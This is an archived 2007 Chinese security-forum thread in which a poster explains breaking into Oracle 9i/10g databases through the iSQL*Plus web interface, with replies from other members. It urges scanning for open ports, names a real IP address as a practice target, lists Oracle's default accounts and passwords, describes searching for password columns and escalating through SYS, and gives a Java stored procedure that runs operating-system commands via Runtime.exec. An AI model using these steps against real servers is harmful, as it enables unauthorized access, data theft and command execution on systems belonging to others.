邪恶八进制信息安全团队技术讨论组's Archiver

伤心的鱼 2007-11-5 22:06

[原创]再谈oracle!isqlplus端口的妙用

信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])
文章作者:伤心的鱼[SST]

正文:
我们知道一般使用oracle数据库的都会是一些大的网站 所以一旦配置不当也会引起很多问题 最近看了很多关

于oracle的文章,这几期黑X杂志都刊登了Mickey写的关于oracle的文章,感觉很是经典,但是我在网上找了一

圈竟然没有关于isqlplus入侵的.我们知道oracle安装后可以以IE来访问,也就是isqlplus. 但是isqlplus是在

oracle9i以后才有的.

oracle8i是没有此项功能的 所以9i跟10g两个版本都是可以利用的. 虽然最新的oracle有11G...但是偶没用过

不晓得有没有什么新的XX

哈哈.. 简单说一下iSqlPlus.他是Oracle9i提供的新功能,是Sqlplus的Web形式发布。

其client、middle、server可以位于同一台机器上也可以位于不同的机器。iSqlPlus不需要单独安装,访问

iSqlPlus

你只需要知道中间层服务器的地址和端口,可以以标准用户或者SYS等身份登陆。通过浏览器访问http服务器

一般设置我们的端口是:

http 7778 端口 / https 4443端

不同的版本有不同的端口.比如在oracle9i中就会是7778端口 在10g的版本里默认的端口为5560 只需要在IE里

输入

http://网站URL:7778/isqlplus 就可以了 这里我以9i版本做测试 140.128.65.12 这个地址全当是给大家练习用啦

各位可以自己扫1521端口 这个是oracle

默认端口 扫到开放的端口直接在

IE里连接就可以了 如果不能成功连接可能是管理员更改了端口或者oracle的版本不是9I以上的 如图1

[attach]6781[/attach]
在这里我们只要输入用户名口令等信息就可以登陆到数据库,并执行SQL语句及脚本文件。

我们知道在oracle里有几个默认的用户 scott是普通用户 默认密码为tiger system为默认的管理员用户 默

认密码为manager

SYS用户在oracle里具有最高的权限 默认密码为change_on_install 我们可以轻易的找到很多没有更改用户名

跟密码的网站

我就用scott用户进行登陆密码为tiger ID那里可以不用写 登陆成功后如图2

图2

[attach]6782[/attach]
在这里就跟我们用plsql连接一样可以执行SQL语句及脚本文件.也可以加载脚本来执行.oracle默认的配置每个

帐号有10次的登陆限制

如果10次输入密码错误用户就会被锁定 但是SYS用户为最高权限 虽然被锁定也能够访问数据库

现在我们来执行命令查询当前的oracle版本 如图3

[attach]6783[/attach]

命令为select * from v$version;

可以很清楚的看到版本为9i

Oracle9i Enterprise Edition Release 9.2.0.1.0 - Production
PL/SQL Release 9.2.0.1.0 - Production
CORE 9.2.0.1.0 Production
TNS for 32-bit Windows: Version 9.2.0.1.0 - Production
NLSRTL Version 9.2.0.1.0 - Production

然后再利用select * from tab来--查看当前用户所有的表 每个用户是不同的.

我们渗透一个网站首先考虑的是如何得到管理员的密码. 这个大家可以去看一下剑心的关于jsp+oracle注射的

文章 user_tab_columns这个系统表里存放了所有的用户表的列名 所以我们可以直接查询user_tab_columns表

里有没有PWD的列名!

其实isqlplus连接之后我们可以做很多的事. 在oracle里sys帐户 就像是mssql下的sa 我们来通过他来提升权



这里我就不多说了 因为已经有某某同学写过啦 嘿嘿 我再说就有点XX的嫌疑了

另外isqlplus在提权的时候也可能用上 可以通过查看$ORACLE_HOME/install/portlist.ini 文件可以找到当

前的isqlplus application server的监听端口 然后试试默认的密码 连上之后可以通过SYS来达到提权的目的

上次看到一篇文章里说 还有种 可以利用msvcrt.dll调用system()函数执行系统命令 .不晓得哪个牛牛会可以

教教偶 感谢ing

另外偶在百度了一下发现了个利用ORACLE 执行系统命令的东东

//以下运行在sql window
CREATE OR REPLACE AND compile JAVA SOURCE NAMED Utils AS
import java.io.*;
import java.lang.*;
public class Utils extends Object{
public static int RunThis(String args){
Runtime rt=Runtime.getRuntime();
int rc=-1;
try{
Process p=rt.exec(args);
int bufSize=4096;
BufferedInputStream bis=new BufferedInputStream(p.getInputStream(),bufSize);
int len;
byte buffer[]=new byte[bufSize];
while((len=bis.read(buffer,0,bufSize))!=-1)
System.out.write(buffer,0,len);
rc=p.waitFor();
}catch(Exception e){
e.printStackTrace();
rc=-1;

}
finally{
return rc;
}

}
}
偶们先测试一个

如图4
[attach]6784[/attach]

虽然提示已建立 Java.
但是在触发器调用的时候却出错了 不晓得怎么回事 请各位大牛指教哇

就简单说这些..因为没见过有人在入侵中提到isqlplus所以就废话几句。 欢迎喜欢oracle的朋友

加偶一起学习..只是刚接触了点皮毛 呵呵 -_-

伤心的鱼 2007-11-5 22:13

偶对于oracle只是初学.在学校的时候老师提到了这个所以就突然想到了能不能在入侵渗透过程中用到
。回来以后查了一下没人写过这个..也可能是我没注意 oracle 的文章在EST也看到很多了。。受益非浅. [s:269]

kj021320 2007-11-6 16:37

ORA 的需要开启 Oracle HTTP Server / iSQL*Plus Server的!
我看很多企业服务器一般不会开启的 ~! 不过可以当作多一种思路吧!
你编译好SQLJ的时候 得给 JAVACLASS 授权 而且给相应的 SOURCE建立函数
可以参考这里
[url]http://blog.csdn.net/i_s_t_o/archive/2007/09/08/1777192.aspx[/url]
ORA中的SQLJ standbox权限很严格!

伤心的鱼 2007-11-6 16:48

这个我知道。 但是我碰到过几个都是开启的 呵呵。只是说一个小办法 谢谢楼上滴东东

oracle的SYS可是不比SA好用袄.. 呵呵 在学习中。还有很多不懂呢

页: [1]
© 1999-2008 EvilOctal Security Team